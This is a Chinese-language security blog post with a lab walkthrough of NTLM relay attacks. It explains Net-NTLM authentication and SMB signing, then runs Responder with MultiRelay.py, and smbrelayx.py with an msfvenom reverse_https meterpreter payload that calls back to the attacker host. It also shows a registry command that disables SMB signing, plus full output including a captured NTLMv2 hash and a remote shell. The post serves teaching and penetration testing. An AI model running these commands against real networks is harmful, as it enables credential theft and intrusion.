0x00 简介
在之前有写过关于LLMNR/NBT-NS欺骗攻击的文章,本文再从中做一个扩展延伸,里面用到的技术叫做NTLM重放攻击。当然,这种攻击利用的方式有很多,使用Responder投毒只是其中的一种,比如说用ntlmrelayx或者msf里面的smb_relay模块等。
0x01 基础知识
Net-NTLM(v2) 认证流程
我们要利用Net-NTLM去做重放,要了解里面是怎么去做认证的。有的小伙伴看到这个很熟悉,这个不是可以直接用来pth来嘛,不是的,能用来做pth攻击的是NTLM hash,Net-NTLM只能用来做重放攻击。下面是认证流程:
- 客户端向服务器发送登录请求,密码在客户端被 hash 一次
- 客户端向服务器发送 username
- 服务器返回一个 16 字节的挑战码(Challenge),并将已存储的用户密码 hash 加密这个 Challenge,生成 Challenge1
- 客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次,生成 response 即 Challenge2
- 客户端将 response 发送给服务器
- 服务器比较 Challenge1 和 response,相同则认证成功
NTLM重放攻击原理
了解了 Net-NTLM 认证流程,再来分析 NTLM重放攻击原理就明了多了,攻击者充当了一个第三人,截获流量,重放流量,如下图:
微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。
自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。
说人话就是A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限
在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。
NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。
SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在Active Directory 网络中只有域名控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护。
0x02 实战
实验环境
本次的实验的环境如下:
Kali-Linux(攻击者):172.16.0.107
Windows Server 2016 (DC):172.16.0.106
Windows 7 (受害者):172.16.0.105
实战攻击
使用的工具是kali自带的Responder,工具目录在/usr/share/responder/tools
。
我们先用RunFinger.py来查看下内网中开放的信息,可以看到106域控是开启了smb签名的,但Windows 7 没有:
┌──(kali㉿kali)-[/usr/share/responder/tools]
└─$ sudo python2 RunFinger.py -i 172.16.0.1/24
[SMB2]:['172.16.0.106', Os:'Windows 10/Server 2016/2019 (check build)', Build:'14393', Domain:'HACK', Bootime: 'Last restart: 2022-02-13 15:06:52', Signing:'True', RDP:'True', SMB1:'Enabled']
[SMB2]:['172.16.0.105', Os:'Windows 7/Server 2008R2', Build:'7601', Domain:'HACK', Bootime: 'Last restart: 2022-02-14 18:18:00', Signing:'False', RDP:'True', SMB1:'Enabled']
我们上面在基础部分说了,如果开启了smb Signing,那我们的重放攻击就无法利用,但除了域控是默认开启的,其他的机器都是默认关闭的状态,所以可以直接利用。
关闭SMB签名验证的命令: Windows Server系列中RequireSecuritySignature子键默认值为1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
知道内网中的信息后,我们先用Responder进行投毒,但是要修改一下配置文件,关闭smb和http:
sudo vim /usr/share/responder/Responder.conf
[Responder Core]
; Servers to start
SQL = On
SMB = Off ;修改为Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off ;修改为Off
HTTPS = On
DNS = On
保存后我们就可以开启投毒欺骗:
┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0
在新建一个窗口,执行MultiRelay.py文件:
┌──(kali㉿kali)-[/usr/share/responder/tools]
└─$ sudo python3 MultiRelay.py -t 172.16.0.105 -u ALL
Responder MultiRelay 2.5 NTLMv1/2 Relay
Send bugs/hugs/comments to: [email protected]
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.
/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.
This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/
Relaying credentials for these users:
['ALL']
Retrieving information for 172.16.0.105...
SMB signing: False
Os version: 'Windows 7 Ultimate 7601 Service Pack 1'
Hostname: 'WIN7'
Part of the 'HACK' domain
我们现在就等客户端输入错误的unc触发smb就可以了,我们在DC(172.16.0.106)中输入:
c:\>net use \\x
然后我们可以看到MultiRelay这边已经返回了Windows 7 的shell:
扩展
其实还可以中smbrelayx.py来做smb中继攻击的,也是利用NTLM重放的原理,这个工具是在Impacket里面的,kali是自带了的,在/usr/local/bin/smbrelayx.py
中。
实验环境还是上面的一样,我们在kali生成一个木马:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.0.107 LPORT=4444 -f exe -o muma.exe
msf启动监听模式:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 172.16.0.107
set lport 4444
run
到这里我们就开始用我们的smbrelayx.py来做中继攻击了,-h是要攻击的目标:
python3 /usr/local/bin/smbrelayx.py -h 172.16.0.105 -e muma.exe
现在就等目标来连接我们的kali服务器,需要输入账号密码:
┌──(kali㉿kali)-[/usr/share/responder/tools]
└─$ python3 /usr/local/bin/smbrelayx.py -h 172.16.0.105 -e muma.exe
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation
[*] Running in relay mode
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 172.16.0.106, attacking target 172.16.0.105
[*] Authenticating against 172.16.0.105 as hack\testuser SUCCEED
[*] testuser::hack:f8cf2e8bb2f965de:8da857dc4272eb7d305a62acff5e0cb6:01010000000000003b7562788f21d801bb0408e04420cbdf00000000020008004800410043004b0001000800570049004e003700040010006800610063006b002e006c006100620003001a00770069006e0037002e006800610063006b002e006c0061006200050010006800610063006b002e006c0061006200070008003b7562788f21d8010600040002000000080030003000000000000000010000000020000078d8a44bbfc6b6121c6ec18ceff20831d50d795a119e7c8f4bde82d46ce174e40a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0030002e00310030003700000000000000000000000000
[*] Requesting shares on 172.16.0.105.....
[*] Sending status code STATUS_SUCCESS after authentication to 172.16.0.106
[-] TreeConnectAndX not found C$
[*] Found writable share ADMIN$
[*] Uploading file ZEmZGtiv.exe
[*] Opening SVCManager on 172.16.0.105.....
[*] Creating service jTHX on 172.16.0.105.....
[*] Starting service jTHX.....
[*] Service Installed.. CONNECT!
[*] Opening SVCManager on 172.16.0.105.....
[*] Stopping service jTHX.....
[*] Removing service jTHX.....
[*] Removing file ZEmZGtiv.exe.....
可以看到我们的msf已经反弹回来Windows 7 的shell了:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://172.16.0.107:4444
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: liexek5a) Without a database connected that payload UUID tracking will not work!
[*] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: liexek5a) Staging x64 payload (201308 bytes) ...
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: liexek5a) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 53 opened (172.16.0.107:4444 -> 127.0.0.1 ) at 2022-02-14 18:41:51 +0800
meterpreter > sysinfo
Computer : WIN7
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : HACK
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >
0x03 总结
两种作为NTLM重放攻击的方式,使用Responder里面的LLMNR/NBNS会比使用smbrelayx好一点,因为smbrelayx需要目标机器去连接我们的kali,应该很少会有人主动去送人头了吧哈哈,主要是在具体场景利用的问题,包括smb签名等因素。
参考
http://evilash.me/2020/12/03/NTLMExplore.html
https://cloud.tencent.com/developer/article/1904077
https://www.sec-in.com/article/174
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/responder_ntlmv2.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。